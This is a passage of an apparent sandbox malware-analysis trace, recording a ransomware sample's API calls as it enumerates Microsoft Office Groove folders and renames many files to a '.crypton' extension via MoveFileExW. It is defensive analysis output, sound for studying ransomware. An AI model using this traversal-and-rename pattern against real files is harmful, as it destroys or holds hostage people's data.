Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticons.jpg.crypton"), dwFlags=0x2) returned 1 [0104.669] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticonsmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticonsmask.bmp.crypton"), dwFlags=0x2) returned 1 [0104.675] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewframe.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewframe.html.crypton"), dwFlags=0x2) returned 1 [0104.680] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewtemplate.html.crypton"), dwFlags=0x2) returned 1 [0104.686] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formtoolimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formtoolimages.jpg.crypton"), dwFlags=0x2) returned 1 [0104.694] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form_edit.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form_edit.js.crypton"), dwFlags=0x2) returned 1 [0104.697] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\launch.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\launch.gif.crypton"), dwFlags=0x2) returned 1 [0104.721] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\macroprogress.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\macroprogress.gif.crypton"), dwFlags=0x2) returned 1 [0104.729] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\PublicFunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\publicfunctions.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\PublicFunctions.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\publicfunctions.js.crypton"), dwFlags=0x2) returned 1 [0104.732] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignleft.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignleft.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignleft.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignleft.gif.crypton"), dwFlags=0x2) returned 1 [0104.738] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignright.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignright.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignright.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignright.gif.crypton"), dwFlags=0x2) returned 1 [0104.741] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\RTF_BOLD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_bold.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\RTF_BOLD.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_bold.gif.crypton"), dwFlags=0x2) returned 1 [0104.744] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_bullets.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_bullets.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_bullets.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_bullets.gif.crypton"), dwFlags=0x2) returned 1 [0104.747] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_center.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_center.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_center.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_center.gif.crypton"), dwFlags=0x2) returned 1 [0104.750] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosecolor.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosecolor.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosecolor.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosecolor.gif.crypton"), dwFlags=0x2) returned 1 [0104.754] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosefont.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosefont.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosefont.gif.crypton"), dwFlags=0x2) returned 1 [0104.757] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_decreaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_decreaseindent.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_decreaseindent.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_decreaseindent.gif.crypton"), dwFlags=0x2) returned 1 [0104.760] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_hyperlink.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_hyperlink.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_hyperlink.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_hyperlink.gif.crypton"), dwFlags=0x2) returned 1 [0104.763] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_increaseindent.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_increaseindent.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_increaseindent.gif.crypton"), dwFlags=0x2) returned 1 [0104.767] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_italic.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_italic.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_italic.gif.crypton"), dwFlags=0x2) returned 1 [0104.770] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_justify.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_justify.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_justify.gif.crypton"), dwFlags=0x2) returned 1 [0104.773] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_pressed.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_pressed.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_pressed.gif.crypton"), dwFlags=0x2) returned 1 [0104.775] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_spellcheck.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_spellcheck.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_spellcheck.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_spellcheck.gif.crypton"), dwFlags=0x2) returned 1 [0104.778] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_underline.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_underline.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_underline.gif.crypton"), dwFlags=0x2) returned 1 [0104.781] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SAVE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\save.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SAVE.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\save.gif.crypton"), dwFlags=0x2) returned 1 [0104.829] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\submit.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SUBMIT.JS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\submit.js.crypton"), dwFlags=0x2) returned 1 [0104.859] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\utilityfunctions.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\utilityfunctions.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\utilityfunctions.js.crypton"), dwFlags=0x2) returned 1 [0104.876] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\validation.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\validation.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\validation.js.crypton"), dwFlags=0x2) returned 1 [0104.885] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.JS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.js.crypton"), dwFlags=0x2) returned 1 [0104.890] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\viewheaderpreview.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\viewheaderpreview.jpg.crypton"), dwFlags=0x2) returned 1 [0104.899] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbbe1c900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbbe1c900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3e000a34, cFileName=".", cAlternateFileName="")) returned 0x549890 [0104.901] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\add.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\add.gif.crypton"), dwFlags=0x2) returned 1 [0104.906] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\attention.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\attention.gif.crypton"), dwFlags=0x2) returned 1 [0104.910] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\calendar.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\calendar.gif.crypton"), dwFlags=0x2) returned 1 [0104.913] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\DELETE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\delete.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\DELETE.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\delete.gif.crypton"), dwFlags=0x2) returned 1 [0104.918] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ERROR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\error.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ERROR.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\error.gif.crypton"), dwFlags=0x2) returned 1 [0104.963] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FORM.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\form.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FORM.JS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\form.js.crypton"), dwFlags=0x2) returned 1 [0104.968] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsblankpage.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsblankpage.html.crypton"), dwFlags=0x2) returned 1 [0104.972] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsbrowserupgrade.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsbrowserupgrade.html.crypton"), dwFlags=0x2) returned 1 [0104.975] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formscolorchart.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formscolorchart.html.crypton"), dwFlags=0x2) returned 1 [0104.981] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplate.html.crypton"), dwFlags=0x2) returned 1 [0104.986] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplatertl.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplatertl.html.crypton"), dwFlags=0x2) returned 1 [0104.990] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsimagetemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsimagetemplate.html.crypton"), dwFlags=0x2) returned 1 [0104.994] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsmacrotemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsmacrotemplate.html.crypton"), dwFlags=0x2) returned 1 [0105.007] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplate.html.crypton"), dwFlags=0x2) returned 1 [0105.020] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplatertl.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplatertl.html.crypton"), dwFlags=0x2) returned 1 [0105.024] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplate.html.crypton"), dwFlags=0x2) returned 1 [0105.028] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplatertl.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplatertl.html.crypton"), dwFlags=0x2) returned 1 [0105.033] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticons.jpg.crypton"), dwFlags=0x2) returned 1 [0105.037] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticonsmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticonsmask.bmp.crypton"), dwFlags=0x2) returned 1 [0105.045] 